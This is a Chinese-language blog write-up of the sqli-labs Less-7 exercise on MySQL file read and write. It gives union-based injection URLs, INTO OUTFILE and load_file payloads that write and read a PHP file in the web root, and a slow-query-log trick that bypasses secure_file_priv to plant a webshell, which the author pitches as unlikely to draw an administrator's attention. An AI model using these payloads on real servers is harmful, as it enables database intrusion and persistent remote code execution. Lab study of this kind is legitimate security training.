sqli-labs Less7文件读写的详细分析及MySQL新版本secure_file_priv的突破

发布于 2020-12-20  101 次阅读


读写分析

这里经测试是字符型注入,并且包裹符号为:((“”))

所以我们这里的语句为:/sqli-labs/Less-7/?id=-1'))  union select 1,2,3--+  即可

然后看到提示是想让我们联系到文件写入

依此获得数据库账户密码,就不演示了

然后尝试用 into outfile 向里面新建文件及写入东西

/sqli-labs/Less-7/?id=-1'))  union select 1,2,into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/id.php" --+
注:win电脑直接复制的路径层级之间间隔默认是使用\来分割,但是在这里不建议用,如果斜杠后是n开头,\n可能被识别为转义,所以尽量用/来代替,或者用//也行。如果被拦截可以将各路径名用16进制编码代替

然后发现报错

检查语句也没问题

然后找到源代码的sql语句在myphpamin执行

SELECT * FROM users WHERE id=(('-1')) union select 1,"aaa",null into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt";

在命令行执行也是一样的

这是因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。所以在mysql 5.6.34版本以后默认是不支持用 into file 写入文件的

我们可以通过执行命令来查看:show global variables like '%secure%';

可以看到我当前的secure_file_priv的状态为null

这时我们就不能进行写文件了

为了演示into file写入文件那么可以切换数据库版本为mysql 5.6.34以下

因为不方便切换版本,这里我还是直接改配置文件

linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv= 

win
    my.ini
       [mysqld]
     secure_file_priv=

然后去控制台或者phpmyadmin检验下

show global variables like '%secure%';

可以看到已经有读取和写入文件的权限了

写入

sqli-labs/Less-7/?id=1')) union select 1,2,"<?php phpinfo();?>" into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/1.php"--+

读取

/sqli-labs/Less-7/?id=-1')) union select 1,2,load_file("D:/phpstudy_pro/WWW/sqli-labs/Less-7/1.php")--+

没有数据,是不是觉得出了问题?

其实不然没有显示是应为这里本来就没有回显,换成有回显的关卡就可以了

利用慢查询日志突破secure_file_priv被禁用

上面内容在实战中并没有实际大用处,因为现在几乎还是没有这么低版本的数据库,除非开启了该权限,不过这种情况还是比较少的,所以下面我们来演示怎么突破它

条件:获取了网站的数据库账户密码并且能够登陆,且为高权限账户(即root)

登陆对方的phpmyadmin(当然也可以用其他的数据库管理平台)

我们主要利用慢查询日志来写shell,步骤大致分为三步:

1.设置slow_query_log=1.即启用慢查询日志(默认禁用)。

set global slow_query_log=1;

查看下当前慢查询日志是否开启

show global variables like '%slow_query_log%'

可以看到是开启状态的

2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='dir\filename';

# 说明:dir为你指定目录,filename为你想将日志写入的文件名,可以是txt也可以是php文件。注意路径之间的间隔符

例如:我这里:

set global slow_query_log_file='D:\phpstudy_pro\WWW\sqli-labs\Less-7\1.php';

同时可以在该目录下看到生成了1.txt的文件

我们查询的内容的结果都将会写入到该文件里

测试语句:

SELECT "<?php phpinfo();?>" or sleep(10)

访问该日志文件

可以看到语句成功执行,那么我们是不是可以写入一句话呢?

对慢查询日志的补充:

因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

时间默认超过多少的称为慢查询日志?

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%';

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。


一个热爱技术的白帽子